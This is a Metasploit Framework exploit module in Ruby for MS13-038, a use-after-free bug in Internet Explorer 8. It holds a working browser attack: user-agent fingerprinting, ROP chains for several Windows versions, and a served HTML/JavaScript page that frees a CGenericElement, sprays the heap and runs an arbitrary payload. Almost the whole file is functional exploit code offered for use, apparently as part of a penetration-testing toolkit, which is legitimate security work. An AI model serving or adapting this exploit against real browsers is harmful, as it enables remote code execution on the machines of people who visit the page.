##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "8.0",
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:rank       => GoodRanking
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Microsoft Internet Explorer. A
				use-after-free condition occurs when a CGenericElement object is freed, but a
				reference is kept on the Document and used again during rendering, an invalid
				memory that's controllable is used, and allows arbitrary code execution under the
				context of the user.

					Please note: This vulnerability has been exploited in the wild on 2013 May, in
				the compromise of the Department of Labor (DoL) Website.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown',
					'EMH',
					'juan vazquez',  #RCA
					'sinn3r'         #RCA
				],
			'References'     =>
				[
					[ 'CVE', '2013-1347' ],
					[ 'OSVDB', '92993' ],
					[ 'MSB', 'MS13-038' ],
					[ 'US-CERT-VU', '237655' ],
					[ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'],
					[ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
				],
			'Payload'        =>
				{
					'BadChars'       => "\x00",
					'Space'          => 1024,
					'DisableNops'    => true
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt } ],
					[ 'IE 8 on Windows Vista',        { 'Rop' => :jre    } ],
					[ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt } ],
					[ 'IE 8 on Windows 7',            { 'Rop' => :jre    } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 3 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '5.2'
			os_name = 'Windows Server 2003'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		else
			# OS not supported
			return nil
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def get_payload(t, cli)
		rop_payload = ''

		case t['Rop']
		when :msvcrt
			algin  = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
			chain = ''

			if t.name == 'IE 8 on Windows XP SP3'
				chain =
				[
					0x77c1e844, # POP EBP # RETN [msvcrt.dll]
					0x77c1e844, # skip 4 bytes [msvcrt.dll]
					0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
					0xffffffff,
					0x77c127e5, # INC EBX # RETN [msvcrt.dll]
					0x77c127e5, # INC EBX # RETN [msvcrt.dll]
					0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
					0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
					0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
					0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
					0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
					0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
					0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
					0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
					0x77c3048a, # POP EDI # RETN [msvcrt.dll]
					0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
					0x77c46efb, # POP ESI # RETN [msvcrt.dll]
					0x77c2aacc, # JMP [EAX] [msvcrt.dll]
					0x77c3b860, # POP EAX # RETN [msvcrt.dll]
					0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
					0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
					0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]
				].pack("V*")

			elsif t.name == 'IE 8 on Windows Server 2003'
				junk = rand_text_alpha(4).unpack("V")[0].to_i
				nop  = make_nops(4).unpack("V")[0].to_i

				chain =
				[
					0x77bb2563, # POP EAX # RETN
					0x77ba1114, # <- *&VirtualProtect()
					0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
					junk,
					0x77bb0c86, # XCHG EAX,ESI # RETN
					0x77bc9801, # POP EBP # RETN
					0x77be2265, # ptr to 'push esp #  ret'
					0x77bb2563, # POP EAX # RETN
					0x03C0990F,
					0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
					0x77bb48d3, # POP EBX, RET
					0x77bf21e0, # .data
					0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
					0x77bbfc02, # POP ECX # RETN
					0x77bef001, # W pointer (lpOldProtect) (-> ecx)
					0x77bd8c04, # POP EDI # RETN
					0x77bd8c05, # ROP NOP (-> edi)
					0x77bb2563, # POP EAX # RETN
					0x03c0984f,
					0x77bdd441, # SUB EAX, 03c0940f
					0x77bb8285, # XCHG EAX,EDX # RETN
					0x77bb2563, # POP EAX # RETN
					nop,
					0x77be6591  # PUSHAD # ADD AL,0EF # RETN
				].pack("V*")
			end

			rop_payload = chain + algin + payload.encoded

		else
			code  = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
			code << payload.encoded
			code << rand_text_alpha(12000)

			rop_payload = generate_rop_payload('java', code)
		end

		return rop_payload
	end

	def load_exploit_html(my_target, cli)
		case my_target['Rop']
		when :msvcrt
			case my_target.name
			when 'IE 8 on Windows XP SP3'
				align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
				xchg_esp  = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
			when 'IE 8 on Windows Server 2003'
				align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
				xchg_esp  = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
			end
		else
			align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
			xchg_esp  = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
		end

		padding    = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
		js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))


		html = %Q|
		<!doctype html>
		<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
		<head>
		<meta>
			<?IMPORT namespace="t" implementation="#default#time2">
		</meta>
		<script>
		#{js_mstime_malloc}

		function helloWorld()
		{
			sparkle = unescape("ABCD");
			for (i=0; i < 2; i++) {
				sparkle += unescape("ABCD");
			}
			sparkle += unescape("AB");
			sparkle += unescape("#{js_payload}");
			magenta = unescape("#{align_esp}");
			for (i=0; i < 0x70/4; i++) {
				if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
				else               { magenta += unescape("#{align_esp}"); }
			}
			magenta += sparkle;

			document.body.contentEditable="true";
			f0 = document.createElement('span');
			f1 = document.createElement('span');
			f2 = document.createElement('span');
			document.body.appendChild(f0);
			document.body.appendChild(f1);
			document.body.appendChild(f2);
			for (i=0; i < 20; i++) { document.createElement("img"); }
			f2.appendChild(document.createElement('datalist'));
			f1.appendChild(document.createElement('span'));
			CollectGarbage();
			f1.appendChild(document.createElement('table'));
			try      { f0.offsetParent=null;}
			catch(e) { }
			f2.innerHTML = "";
			f1.innerHTML = "";
			f0.appendChild(document.createElement('hr'));
			mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
		}
		</script>
		</head>
		<body onload="eval(helloWorld());">
		<t:ANIMATECOLOR id="myanim"/>
		</body>
		</html>
		|

		return html
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")

		my_target = get_target(agent)
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		html = load_exploit_html(my_target, cli)
		html = html.gsub(/^\t\t/, '')
		print_status("Sending HTML...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

end
